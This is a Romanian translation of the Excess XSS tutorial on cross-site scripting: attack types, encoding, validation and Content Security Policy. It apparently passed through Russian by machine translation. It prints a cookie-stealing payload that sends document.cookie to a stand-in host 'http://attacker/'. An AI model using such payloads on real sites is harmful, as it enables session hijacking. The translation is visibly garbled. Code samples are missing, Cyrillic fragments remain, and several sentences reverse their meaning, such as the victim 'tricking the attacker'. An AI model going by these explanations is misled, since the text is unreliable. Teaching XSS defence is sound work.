Un atacator poate accesa modulele cookie legate de site-ul web ale victimei folosind document.cookie, le poate trimite către propriul server și le poate folosi pentru a extrage informații sensibile, cum ar fi ID-urile de sesiune.

Keylogger

Un atacator ar putea să înregistreze un ascultător de evenimente de la tastatură utilizând addEventListener și apoi să trimită toate apăsările de taste ale utilizatorului către serverul său, înregistrând posibil informații sensibile, cum ar fi parolele și numerele cărților de credit.

phishing

un atacator ar putea insera un formular de conectare fals într-o pagină folosind manipularea DOM, setând atributele de acțiune ale formularului pe propriul server și apoi păcăli utilizatorul pentru a obține informații sensibile.

Deși aceste atacuri diferă semnificativ, toate au o asemănare semnificativă: deoarece atacatorul injectează cod în pagina deservită de site-ul web, JavaScript rău intenționat este executat în contextul acelui site. Aceasta înseamnă că este tratat ca orice alt script de pe acel site: are acces la datele victimei pentru acel site web (cum ar fi cookie-urile) și numele de gazdă afișat în bara de adrese URL va fi același cu cel al site-ului web. În toate scopurile, scriptul este considerat o parte legală a site-ului web, permițându-i să facă orice poate face site-ul în sine.

Acest fapt evidențiază o problemă cheie:

Dacă un atacator vă poate folosi site-ul web pentru a executa cod JavaScript arbitrar în browserele altor utilizatori, securitatea site-ului dvs. și a utilizatorilor acestuia este compromisă.

Pentru a sublinia acest punct, câteva exemple de scripturi rău intenționate din acest tutorial vor fi lăsate fără detalii, folosind.... Acest lucru sugerează că simpla prezență a unui script injectat de către un atacator este o problemă, indiferent de codul de script specific care este de fapt executat.

Partea a doua: Atacul XSS Participanții la atacul XSS

Înainte de a descrie în detaliu cum funcționează un atac XSS, trebuie să identificăm actorii implicați într-un atac XSS. În general, există trei părți la un atac XSS: site-ul web, victima și atacatorul.

• Site-ul oferă pagini HTML utilizatorilor care le solicită. În exemplele noastre se află la http://website/.
  • O bază de date de site este o bază de date care stochează unele dintre datele introduse de utilizatori pe paginile unui site web.
• Victima este un utilizator obișnuit al unui site web care solicită pagini de la acesta folosind browserul său.
• Un atacator este un atacator care intenționează să lanseze un atac asupra unei victime exploatând o vulnerabilitate XSS dintr-un site web.
  • Serverul unui atacator este un server web controlat de un atacator cu unicul scop de a fura informațiile confidențiale ale victimei. În exemplele noastre, se află la http://attacker/.

Exemplu de scenariu de atac

window.location="http://attacker/?cookie="+document.cookie

Acest script va crea o solicitare HTTP către o altă adresă URL, care va redirecționa browserul utilizatorului către serverul atacatorului. URL-ul include cookie-urile victimei ca parametru de solicitare, atunci când o solicitare HTTP ajunge la serverul atacatorului, atacatorul poate extrage aceste cookie-uri din cerere. Odată ce atacatorul a primit cookie-urile, le poate folosi pentru a uzurpa identitatea victimei și a lansa un atac ulterior.

De acum înainte, codul HTML afișat mai sus va fi numit șir rău intenționat sau script rău intenționat. Este important să înțelegeți că șirul în sine este rău intenționat doar dacă este redat în cele din urmă ca HTML în browserul victimei și acest lucru se poate întâmpla numai dacă există o vulnerabilitate XSS pe site.

Cum funcționează acest exemplu de atac

Diagrama de mai jos prezintă un exemplu de atac al unui atacator:

Atacatorul folosește unul dintre formularele site-ului web pentru a insera un șir rău intenționat în baza de date a site-ului web.

Victima solicită o pagină de pe un site web.

Site-ul include un șir de bază de date rău intenționat în răspuns și îl trimite victimei.

Browserul victimei execută un script rău intenționat în interiorul răspunsului, trimițând cookie-ul victimei la serverul atacatorului.

Tipuri XSS

Scopul unui atac XSS este întotdeauna să execute un script JavaScript rău intenționat în browserul victimei. Există mai multe moduri fundamental diferite de a atinge acest obiectiv. Atacurile XSS sunt adesea împărțite în trei tipuri:

• XSS stocat (persistent), unde șirul rău intenționat provine din baza de date a site-ului web.
• XSS reflectat (nepersistent), unde șirul rău intenționat este generat din solicitarea victimei.
• DOM-uri XSS, unde vulnerabilitatea apare în codul clientului, mai degrabă decât în ​​codul serverului.

Exemplul anterior arată un atac XSS stocat. Vom descrie acum alte două tipuri de atacuri XSS: atacuri reflectate XSS și DOM XSS.

XSS reflectat

Într-un atac XSS reflectat, șirul rău intenționat face parte din solicitarea victimei către site. Site-ul acceptă și inserează acest șir rău intenționat în răspunsul trimis înapoi utilizatorului. Diagrama de mai jos ilustrează acest scenariu:

Victima îl păcălește pe atacator să trimită o solicitare URL către site-ul web.

Site-ul include un șir rău intenționat din solicitarea URL în răspunsul către victimă.

Browserul victimei execută scriptul rău intenționat conținut în răspuns, trimițând cookie-urile victimei către serverul atacatorului.

Cum să efectuați cu succes un atac XSS reflectat?

Un atac XSS reflectat poate părea inofensiv, deoarece necesită ca victima să trimită o solicitare în numele lor care conține un șir rău intenționat. Deoarece nimeni nu s-ar ataca voluntar, nu pare să existe nicio modalitate de a duce efectiv atacul.

După cum se dovedește, există cel puțin două modalități comune de a determina o victimă să lanseze un atac XSS reflectat împotriva lor:

• Dacă utilizatorul este o anumită persoană, atacatorul poate trimite un URL rău intenționat victimei (de exemplu, prin e-mail sau mesagerie instantanee) și îl poate păcăli să deschidă linkul pentru a vizita site-ul web.
• Dacă ținta este un grup mare de utilizatori, atacatorul ar putea posta un link către o adresă URL rău intenționată (de exemplu, pe propriul site web sau rețea socială) și să aștepte ca vizitatorii să facă clic pe link.

Ambele metode sunt similare și ambele pot avea mai mult succes folosind serviciile de scurtare a adreselor URL care vor masca șirul rău intenționat de utilizatorii care ar putea să-l identifice.

XSS în DOM

XSS în DOM este o variantă a atacurilor XSS stocate și reflectate. În acest atac XSS, șirul rău intenționat nu este procesat de browserul victimei până când nu este executat JavaScript real al site-ului web. Diagrama de mai jos ilustrează acest scenariu pentru un atac XSS reflectat:

Atacatorul creează o adresă URL care conține un șir rău intenționat și îl trimite victimei.

Victima îl păcălește pe atacator să trimită o solicitare URL către site-ul web.

Site-ul acceptă solicitarea, dar nu include șirul rău intenționat în răspuns.

Browserul victimei execută scriptul legitim conținut în răspuns, provocând inserarea scriptului rău intenționat în pagină.

Browserul victimei execută un script rău intenționat inserat în pagină, trimițând cookie-urile victimei către serverul atacatorului.

Care este diferența dintre XSS în DOM?

În exemplele anterioare de atacuri XSS stocate și reflectate, serverul inserează un script rău intenționat într-o pagină, care este apoi transmis ca răspuns victimei. Când browserul victimei primește răspunsul, presupune că scriptul rău intenționat face parte din conținutul legitim al paginii și îl execută automat în timp ce pagina se încarcă, la fel ca orice alt script.

În exemplul unui atac XSS în DOM, scriptul rău intenționat nu este inserat ca parte a paginii; singurul script care este executat automat în timp ce pagina se încarcă este o parte legitimă a paginii. Problema este că acest script legitim utilizează direct intrarea utilizatorului pentru a adăuga HTML în pagină. Deoarece șirul rău intenționat este inserat în pagină folosind innerHTML , este analizat ca HTML, determinând executarea scriptului rău intenționat.

Această diferență este mică, dar foarte importantă:

• În XSS tradițional, JavaScript rău intenționat este executat atunci când pagina este încărcată, ca parte a codului HTML trimis de server.
• În cazul XSS în DOM, JavaScript rău intenționat este executat după ce pagina s-a încărcat, determinând pagina JavaScript legitimă să acceseze intrarea utilizatorului (conținând șirul rău intenționat) într-o manieră nesigură.

Cum funcționează XSS în DOM?

Nu este nevoie de JavaScript în exemplul anterior; serverul poate genera tot HTML-ul singur. Dacă codul de pe partea serverului nu ar conține vulnerabilități, site-ul web nu ar fi susceptibil la o vulnerabilitate XSS.

Cu toate acestea, pe măsură ce aplicațiile web devin mai avansate, din ce în ce mai multe pagini HTML sunt generate folosind JavaScript pe partea clientului, mai degrabă decât pe server. În orice moment, conținutul ar trebui să se schimbe fără a reîmprospăta întreaga pagină, acest lucru este posibil folosind JavaScript. În special, acesta este cazul când pagina este reîmprospătată după o solicitare AJAX.

Aceasta înseamnă că vulnerabilitățile XSS pot fi prezente nu numai în codul de la partea serverului site-ului dvs., ci și în codul JavaScript de la partea client al site-ului dvs. Prin urmare, chiar și cu codul complet securizat pe partea de server, este posibil ca codul client să nu includă în siguranță intrarea utilizatorului la actualizarea DOM-ului după ce pagina s-a încărcat. Dacă se întâmplă acest lucru, codul de pe partea client va permite ca un atac XSS să aibă loc fără nicio vină a codului de pe partea serverului.

XSS bazat pe DOM poate să nu fie vizibil pentru server

Există un caz special de atac XSS în DOM în care șirul rău intenționat nu este niciodată trimis către serverul site-ului web: acest lucru se întâmplă atunci când șirul rău intenționat este conținut în porțiunea de identificare a URL-ului (orice după simbolul #). Browserele nu trimit această parte a adresei URL către server, așa că site-ul web nu o poate accesa folosind codul de pe partea serverului. Cu toate acestea, codul clientului are acces la el și, astfel, este posibil să se efectueze un atac XSS prin procesare nesigură.

Acest caz nu se limitează la ID-ul fragmentului. Există și alte intrări ale utilizatorului care sunt invizibile pentru server, cum ar fi noile funcții HTML5, cum ar fi LocalStorage și IndexedDB.

Partea a treia:
XSS Prevention Tehnici de prevenire XSS

Amintiți-vă că XSS este un atac de injecție de cod: intrarea utilizatorului este interpretată în mod eronat ca cod rău intenționat. Pentru a preveni acest tip de injectare de cod, este necesară o manipulare sigură a intrărilor. Pentru un dezvoltator web, există două moduri fundamental diferite de a efectua procesarea securizată a intrărilor:

• Codificarea este o metodă care permite utilizatorului să introducă date doar ca date și nu permite browserului să le proceseze ca cod.
• Validarea este o modalitate de filtrare a intrărilor utilizatorului, astfel încât browserul să o interpreteze ca cod fără comenzi rău intenționate.

Deși acestea sunt metode de atenuare a XSS fundamental diferite, ele împărtășesc câteva caracteristici comune care sunt importante de înțeles atunci când utilizați oricare dintre acestea:

Context Gestionarea securizată a intrărilor trebuie făcută diferit, în funcție de locul în care este utilizată intrarea utilizatorului din pagină. inbound/outbound Procesarea securizată a intrărilor se poate face fie atunci când site-ul dvs. primește input (trafic de intrare) fie chiar înainte ca site-ul să insereze input-ul utilizatorului în conținutul paginii (outbound). Client/Server Procesarea securizată a intrărilor se poate face fie pe partea client, fie pe partea serverului, fiecare opțiune fiind necesară în circumstanțe diferite.

Înainte de a explica în detaliu cum funcționează codarea și validarea, vom descrie fiecare dintre aceste puncte.

Gestionarea intrărilor utilizatorului în contexte

Există multe contexte pe o pagină web în care poate fi aplicată intrarea utilizatorului. Pentru fiecare dintre ele, trebuie respectate reguli speciale pentru a se asigura că intrarea utilizatorului nu poate scăpa din contextul său și nu poate fi interpretată ca cod rău intenționat. Următoarele sunt cele mai comune contexte:

De ce contează contextele?

În toate contextele descrise, ar putea apărea o vulnerabilitate XSS dacă intrarea utilizatorului a fost inserată înainte de prima codificare sau validare. Un atacator poate injecta cod rău intenționat prin simpla inserare a unui delimitator de închidere pentru acest context, urmat de cod rău intenționat.

De exemplu, dacă la un moment dat un site web include intrarea utilizatorului direct într-un atribut HTML, un atacator ar putea injecta un script rău intenționat pornind intrarea lor cu un citat, după cum se arată mai jos:

Acest lucru ar putea fi prevenit prin simpla eliminare a tuturor ghilimelelor din intrarea utilizatorului și totul ar fi bine, dar numai în acest context. Dacă intrarea a fost inserată într-un context diferit, delimitatorul de închidere va fi diferit și va fi posibilă injectarea. Din acest motiv, gestionarea securizată a intrărilor ar trebui să fie întotdeauna adaptată contextului în care va fi inserată intrarea utilizatorului.

Gestionarea intrărilor de intrare/ieșire ale utilizatorului

Instinctiv, s-ar părea că XSS ar putea fi prevenit prin codificarea sau validarea tuturor intrărilor utilizatorului de îndată ce site-ul nostru îl primește. În acest fel, orice șiruri rău intenționate vor fi deja neutralizate ori de câte ori sunt incluse în pagină, iar scripturile de generare HTML nu vor trebui să-și facă griji cu privire la gestionarea în siguranță a intrărilor utilizatorului.

Problema este că, așa cum s-a descris mai devreme, intrarea utilizatorului poate fi inserată în mai multe contexte pe o pagină. Și nu există o modalitate ușoară de a determina când intrarea utilizatorului intră într-un context - cum va fi în cele din urmă inserată și aceeași intrare de utilizator trebuie adesea inserată în contexte diferite. Bazându-ne pe procesarea intrărilor de intrare pentru a preveni XSS, creăm o soluție foarte fragilă, care va fi predispusă la erori. („Citatele magice” vechi PHP sunt un exemplu de astfel de soluție.)

În schimb, procesarea intrărilor de ieșire ar trebui să fie linia dvs. principală de apărare împotriva XSS, deoarece poate ține cont de contextul specific al intrării utilizatorului care va fi inserată. Într-o oarecare măsură, validarea de intrare poate fi folosită pentru a adăuga un nivel secundar de securitate, dar mai multe despre asta mai târziu.

Unde este posibil să se gestioneze în siguranță introducerea utilizatorului?

În majoritatea aplicațiilor web moderne, intrarea utilizatorului este procesată atât pe partea serverului, cât și pe partea clientului. Pentru a vă proteja împotriva tuturor tipurilor de XSS, gestionarea securizată a intrărilor trebuie făcută atât în ​​codul serverului, cât și pe partea clientului.

• Pentru a vă proteja împotriva XSS tradițional, gestionarea securizată a intrărilor trebuie făcută în codul serverului. Acest lucru se face folosind un limbaj acceptat de server.
• Pentru a vă proteja împotriva unui atac XSS în DOM, unde serverul nu primește niciodată un șir rău intenționat (cum ar fi atacul de fragment de identificare descris mai devreme), gestionarea securizată a intrărilor trebuie să fie făcută în codul clientului. Acest lucru se face folosind JavaScript.

Acum că am explicat de ce contează contextul, de ce este importantă distincția dintre procesarea intrărilor de intrare și de ieșire și de ce procesarea securizată a intrărilor trebuie făcută de ambele părți, partea client și partea serverului, putem continua să explicăm cum cele două tipuri de procesare securizată a intrărilor (codificare și validare) sunt efectiv efectuate.

Codificare

Codarea este o cale de ieșire dintr-o situație în care este necesar ca browserul să interpreteze intrarea utilizatorului doar ca date, și nu ca cod. Cel mai popular tip de codare în dezvoltarea web este mascarea HTML, care convertește caractere precum< и >V< и >respectiv.

Următorul pseudocod este un exemplu al modului în care intrarea utilizatorului (intrarea utilizatorului) poate fi codificată folosind mascarea HTML și apoi inserată într-o pagină folosind un script pe partea de server:

imprimare ""
print "Ultimul comentariu: "
print encodeHtml(userInput)
imprimare ""

Dacă utilizatorul introduce următoarea linie..., HTML-ul rezultat va arăta astfel:

Ultimul comentariu:
...

Deoarece toate caracterele cu semnificație specială au fost eliminate, browserul nu va analiza nicio parte a intrării utilizatorului, cum ar fi HTML.

Codarea codului client și server

Când se efectuează codificare pe partea clientului, se folosește întotdeauna JavaScript, care are funcții încorporate care codifică date pentru diferite contexte.

Când faceți codarea în codul dvs. de pe partea serverului, vă bazați pe caracteristicile disponibile în limba sau cadrul dvs. Datorită numărului mare de limbi și cadre disponibile, acest tutorial nu va acoperi detaliile de codificare în nici un anumit limbaj sau cadru de server. Cu toate acestea, funcțiile de codare JavaScript utilizate pe partea clientului sunt, de asemenea, utilizate la scrierea codului pe partea serverului.

Codificare partea clientului

La codificarea intrărilor utilizatorului de pe partea clientului folosind JavaScript, există mai multe metode și proprietăți încorporate care codifică automat toate datele într-un stil sensibil la context:

Ultimul context deja menționat mai sus (valori în JavaScript) nu este inclus în această listă, deoarece JavaScript nu oferă o modalitate încorporată de codificare a datelor care vor fi incluse în codul sursă JavaScript.

Limitări de codificare

Chiar și atunci când se codifică, este posibil să se utilizeze șiruri rău intenționate în anumite contexte. Un exemplu clar în acest sens este atunci când introducerea utilizatorului este utilizată pentru a furniza o adresă URL, ca în exemplul de mai jos:

document.querySelector("a").href = userInput

Deși specificarea unei valori pe proprietatea href a unui element o codifică automat astfel încât să devină nimic mai mult decât o valoare de atribut, acest lucru în sine nu împiedică un atacator să insereze o adresă URL care începe cu „javascript:”. Când se face clic pe un link, indiferent de construcție, JavaScript încorporat în URL va fi executat.

Codarea nu este, de asemenea, o soluție eficientă atunci când doriți ca utilizatorii să poată folosi o parte din codul HTML de pe pagină. Un exemplu ar fi o pagină de profil de utilizator în care utilizatorul poate folosi HTML personalizat. Dacă acest cod HTML simplu este codificat, pagina de profil va putea fi formată numai din text simplu.

În astfel de situații, codarea trebuie completată de validare, pe care o vom analiza mai târziu.

Validare

Validarea este actul de filtrare a intrărilor utilizatorului, astfel încât toate părțile rău intenționate ale acesteia să fie eliminate, fără a fi nevoie să eliminați tot codul din ea. Unul dintre cele mai utilizate tipuri de validare în dezvoltarea web vă permite să utilizați unele elemente HTML (de exemplu, și ) în timp ce dezactivați altele (de exemplu, ).

Există două verificări caracteristice principale, care diferă în implementările lor:

Strategie de clasificare Intrările utilizatorului pot fi clasificate folosind liste negre sau liste albe. Rezultatul validării Intrările utilizatorului identificate ca fiind rău intenționate pot fi respinse sau dezinfectate.

Strategia de clasificare Lista neagră

Instinctiv, pare oportun să se efectueze verificarea prin definirea unui model interzis care nu ar trebui să apară în introducerea utilizatorului. Dacă o linie se potrivește cu acest model, este marcată ca nevalidă. De exemplu, permiteți utilizatorilor să trimită adrese URL personalizate cu orice protocol, cu excepția javascript: . Această strategie de clasificare se numește lista neagră.

Cu toate acestea, lista neagră are două dezavantaje principale:

Dificultatea de a descrie cu acuratețe setul de toate șirurile posibile rău intenționate este de obicei o sarcină foarte dificilă. Exemplul de politică descrisă mai sus nu poate fi implementat cu succes prin simpla căutare a subșirului „javascript”, deoarece ar lipsi șiruri precum „Javascript:” (unde prima literă este majusculă) și „javascript:” (unde prima literă este codificată ca numeric). referirea la personaj). Depreciere Chiar dacă ar fi dezvoltată o listă neagră perfectă, ar fi inutil dacă o nouă caracteristică adăugată browserului ar putea fi folosită pentru atac. De exemplu, dacă o listă neagră de validare HTML a fost dezvoltată înainte ca atributul onmousewheel să fie introdus în HTML5, nu ar putea împiedica un atacator să folosească acest atribut pentru a efectua un atac XSS. Acest dezavantaj este deosebit de important în dezvoltarea web, care constă din multe tehnologii diferite care sunt actualizate în mod constant.

Din cauza acestor neajunsuri, lista neagră este puternic descurajată ca strategie de clasificare. Lista albă este, în general, o abordare mult mai sigură, pe care o vom descrie în continuare.

Lista albă

Lista albă este în esență opusul unei liste negre: în loc să identifice un model interzis, abordarea listei albe identifică un model permis și marchează intrarea ca nevalidă dacă nu se potrivește acest șablon.

Spre deosebire de listele negre, un exemplu de liste albe ar fi acela de a permite utilizatorilor să trimită adrese URL personalizate care conțin numai protocoalele http: și https:, nimic mai mult. Această abordare ar permite ca o adresă URL să fie marcată automat ca nevalidă dacă conține protocolul javascript:, chiar dacă este reprezentată ca „Javascript:” sau „javascript:”.

În comparație cu o listă neagră, listele albe au două avantaje principale:

Simplitate Descrierea cu acuratețe a setului de șiruri benigne este de obicei mult mai ușoară decât identificarea setului de șiruri rău intenționate. Acest lucru este aplicabil în special în situațiile generale în care intrarea utilizatorului trebuie să includă un set foarte limitat de funcționalități disponibile în browser. De exemplu, lista albă descrisă mai sus permite foarte simplu ca adresele URL să fie utilizate numai cu protocoalele HTTP: sau https: permise, iar în majoritatea situațiilor acest lucru este destul de suficient pentru utilizatori. Durabilitate Spre deosebire de o listă neagră, o listă albă de obicei nu devine învechită atunci când o nouă caracteristică este adăugată în browser. De exemplu, validarea listei albe HTML permite ca numai atributele de titlu ale elementelor HTML să rămână în siguranță, chiar dacă aceasta (lista albă) a fost concepută înainte de introducerea atributului HTML5 onmousewheel.

Rezultatul validării

Când intrarea utilizatorului a fost marcată ca nevalidă (interzisă), se poate întreprinde una dintre două acțiuni:

Respingerea intrării este pur și simplu respinsă, împiedicând-o să fie folosită în altă parte a site-ului. Dezinfectarea tuturor părților nevalide ale datelor introduse este eliminată, iar intrarea rămasă este utilizată pe site ca de obicei.

Dintre cele două, devierea este cea mai simplă abordare de implementat. Dar dezinfecția este considerată a fi mai utilă, deoarece oferă o gamă mai largă de input pentru utilizator. De exemplu, dacă un utilizator trimite un număr de card de credit, igienizarea va elimina toate caracterele non-simbol și va preveni injectarea de cod și, de asemenea, va permite utilizatorului să introducă un număr cu sau fără cratime.

Dacă decideți să implementați dezinfecția, trebuie să vă asigurați că procedura de dezinfecție în sine nu utilizează o abordare pe lista neagră. De exemplu, adresa URL „Javascript:...”, chiar dacă este identificată folosind o listă albă ca fiind nevalidă, ar primi o rutină de ocolire a dezinfectării care pur și simplu elimină toate instanțele „javascript:”. Din acest motiv, bibliotecile și cadrele bine testate ar trebui să folosească dezinfectarea ori de câte ori este posibil.

Ce metode ar trebui folosite pentru prevenire?

Codificarea ar trebui să fie prima ta linie de apărare împotriva atacurilor XSS, scopul său este de a procesa datele în așa fel încât browserul să nu poată interpreta introducerea utilizatorului ca cod. În unele cazuri, codarea trebuie completată de validare. Codificarea și validarea trebuie aplicate traficului de ieșire, deoarece numai atunci puteți ști în ce context va fi aplicată intrarea utilizatorului și ce codificare și validare trebuie aplicate.

Ca o a doua linie de apărare, ar trebui să aplicați igienizarea datelor primite sau respingerea intrărilor de utilizator în mod clar nevalide, cum ar fi linkurile, utilizând protocolul javascript:. Acest lucru nu poate oferi în sine o securitate completă, dar este o precauție utilă dacă orice punct din protecția de codare și validare ar putea eșua din cauza execuției incorecte.

Dacă aceste două linii de apărare sunt utilizate în mod constant, site-ul dvs. va fi protejat de atacurile XSS. Cu toate acestea, din cauza complexității creării și întreținerii unui site web, furnizarea de securitate completă folosind doar procesarea securizată a intrărilor utilizatorului poate fi dificilă. Ca a treia linie de apărare, ar trebui să utilizați Politicile de securitate a conținutului ( Engleză Politica de securitate a conținutului), apoi CSP, pe care îl vom descrie mai jos.

Politici de securitate a conținutului (CSP)

Folosirea doar a gestionării securizate a intrărilor utilizatorului pentru a vă proteja împotriva atacurilor XSS nu este suficientă, deoarece chiar și o singură greșeală de securitate vă poate compromite site-ul. Adoptarea politicilor de securitate a conținutului (CSP) din noul standard web poate reduce acest risc.

CSP-urile sunt folosite pentru a restricționa utilizarea de către un browser a unei pagini web, astfel încât acesta să poată utiliza numai resurse descărcate din surse de încredere. A resurse sunt scripturi, foi de stil, imagini sau alt tip de fișier la care se face referire pe o pagină. Aceasta înseamnă că, chiar dacă un atacator reușește să injecteze conținut rău intenționat în site-ul dvs., CSP-ul va putea împiedica executarea acestuia.

CSP poate fi folosit pentru a aplica următoarele reguli:

Interzicerea surselor de încredere Resursele externe pot fi descărcate numai dintr-un set de surse de încredere clar definite. Prin interzicerea resurselor încorporate, JavaScript inline și CSS nu vor fi luate în considerare. Dezactivarea evalului interzice utilizarea funcției eval în JavaScript.

CSP în acțiune

În exemplul următor, un atacator a reușit să injecteze cod rău intenționat într-o pagină web:

Ultimul comentariu:

Cu o politică CSP definită corect, browserul nu poate descărca și executa malicious-script.js deoarece http://attacker/ nu este specificat ca sursă de încredere. Chiar dacă site-ul nu a reușit să proceseze în mod fiabil inputul utilizatorului în acest caz, politicile CSP au împiedicat vulnerabilitatea să provoace vreun rău.

Chiar dacă atacatorul a injectat cod în codul de script, mai degrabă decât un link către un fișier extern, o politică CSP configurată corespunzător va preveni, de asemenea, injectarea în codul JavaScript, prevenind vulnerabilitatea și provocând orice rău.

Cum se activează CSP?

În mod implicit, browserele nu folosesc CSP. Pentru a activa SCP pe site-ul dvs., paginile trebuie să conțină un antet HTTP suplimentar: Politică de securitate de conținut. Orice pagină care conține acest antet va aplica politicile de securitate atunci când este încărcată de browser, cu condiția ca browserul să accepte CSP.

Deoarece politica de securitate este trimisă cu fiecare răspuns HTTP, este posibil ca serverul să seteze politica individual pentru fiecare pagină. Aceeași politică poate fi aplicată întregului site web inserând același antet CSP în fiecare răspuns.

Valoarea din antetul Content‑Security‑Policy conține un șir care definește una sau mai multe politici de securitate care vor rula pe site-ul dvs. Sintaxa acestei linii va fi descrisă mai jos.

Exemplele de titlu din această secțiune folosesc rupturi de rând și indentări pentru ușurință de referință; nu ar trebui să apară în titlul propriu-zis.

Sintaxa CSP

Sintaxa antetului CSP este următoarea:

Politica de securitate a conținutului:
directivă sursă-expresie, sursă-expresie, ...;
directivă ...;
...

Această sintaxă constă din două elemente:

• Directivele sunt șiruri de caractere care indică tipul de resursă luat dintr-o listă dată.
• Expresiile sursă sunt un model care descrie unul sau mai multe servere de pe care pot fi încărcate resurse.

Pentru fiecare directivă, datele din expresia sursă specifică ce surse pot fi folosite pentru a încărca resurse de tipul corespunzător.

Directive

Următoarele directive pot fi utilizate în antetul CSP:

• connect-src
• font-src
• cadru-src
• img-src
• media-src
• obiect-src
• script-src
• stil-src

În plus, directiva specială default-src poate fi utilizată pentru a furniza o valoare implicită pentru toate directivele care nu au fost incluse în antet.

Expresia sursă

Sintaxa pentru crearea unei expresii sursă este următoarea:

protocol:// nume gazdă: numărul portului

Numele de gazdă poate începe cu *, ceea ce înseamnă că orice subdomeniu al numelui de gazdă furnizat va fi rezolvat. În mod similar, numărul portului poate fi reprezentat ca *, ceea ce înseamnă că toate porturile vor fi permise. În plus, protocolul și numărul portului pot fi omise. Dacă nu este specificat niciun protocol, politica va cere ca toate resursele să fie încărcate folosind HTTPS.

În plus față de sintaxa de mai sus, expresia sursă poate fi alternativ unul dintre cele patru cuvinte cheie cu o semnificație specială (inclusiv ghilimele):

„niciunul” dezactivează resursele. „self” permite resurse de la gazda pe care se află pagina web. „unsafe-inline” rezolvă resursele conținute în pagină ca elemente inline, elemente și javascript: URL-uri. „unsafe-eval” activează funcția JavaScript eval .

Vă rugăm să rețineți că ori de câte ori este utilizat CSP, resursele încorporate și eval sunt dezactivate automat în mod implicit. Utilizarea „unsafe-inline” și „unsafe-eval” este singura modalitate de a le folosi.

Exemplu de politică

Politica de securitate a conținutului:
script-src „self” scripts.example.com;
media-src „niciunul”;
img-src *;
default-src „self” http://*.example.com

Cu acest exemplu de politică, pagina web va avea următoarele restricții:

• Scripturile pot fi descărcate numai de la gazda pe care se află pagina web și de la această adresă: scripts.example.com.
• Descărcarea fișierelor audio și video este interzisă.
• Fișierele imagine pot fi descărcate de la orice adresă.
• Toate celelalte resurse pot fi încărcate numai de la gazda pe care se află pagina web și din orice subdomeniu al example.com.

Starea CSP

Din iunie 2013, politicile de securitate a conținutului sunt recomandate de consorțiul W3C. CSP este implementat de dezvoltatorii de browsere, dar unele părți ale acestuia sunt specifice diferitelor browsere. De exemplu, utilizarea antetului HTTP poate diferi între browsere. Înainte de a utiliza CSP, consultați documentația browserelor pe care intenționați să le susțineți.

Rezumat Rezumat: Prezentare generală XSS

• Un atac XSS este un atac de injectare de cod posibil prin procesarea nesigură a intrărilor utilizatorului.
• Un atac XSS de succes permite atacatorului să execute JavaScript rău intenționat în browserul victimei.
• Un atac XSS de succes compromite securitatea atât a site-ului web, cât și a utilizatorilor săi.

Rezumat: atacuri XSS

• Există trei tipuri principale de atacuri XSS:
  • XSS stocat, unde intrările rău intenționate provin din baza de date a site-ului web.
  • XSS reflectat, unde intrarea rău intenționată provine din solicitarea victimei.
  • Atacuri XSS în DOM, unde vulnerabilitatea este exploatată în cod pe partea clientului, și nu pe partea serverului.
• Toate aceste atacuri sunt efectuate diferit, dar au același efect dacă au succes.

Rezumat: Prevenirea XSS

• Cel mai important mod de a preveni atacurile XSS este de a efectua procesarea securizată a intrărilor.
  • Codificarea trebuie făcută ori de câte ori introducerea utilizatorului este activată pe pagină.
  • În unele cazuri, codarea trebuie înlocuită sau completată prin validare.
  • Gestionarea securizată a intrărilor trebuie să ia în considerare contextul de pagină în care este introdusă intrarea utilizatorului.
  • Pentru a preveni toate tipurile de atacuri XSS, procesarea securizată a intrărilor trebuie făcută atât în ​​codul client cât și pe partea serverului.
• Politicile de securitate a conținutului (CSP) oferă un nivel suplimentar de protecție în cazul în care procesarea securizată a intrărilor conține o eroare.

Anexă Terminologie

Trebuie remarcat faptul că există un crossover în terminologia folosită pentru a descrie XSS: un atac XSS în DOM poate fi fie stocat, fie reflectat; Acestea nu sunt tipuri separate de atacuri. Nu există o terminologie general acceptată care să acopere toate tipurile de XSS fără confuzie. Indiferent de terminologia folosită pentru a descrie XSS, cel mai important lucru este să determinați tipul de atac, acest lucru este posibil dacă știți de unde vine intrarea rău intenționată și unde este localizată vulnerabilitatea.

Drepturi de utilizare și linkuri

Codul sursă pentru Excesul de XSS este disponibil pe GitHub.

Excesul de XSS a fost creat în 2013 ca parte a cursului de securitate bazată pe limbaj de la Chalmers University of Technology.

Traducerea în rusă a fost efectuată de A888R, textul original în limba engleză: excess-xss.com, comentariile, sugestiile și erorile de traducere trebuie trimise aici.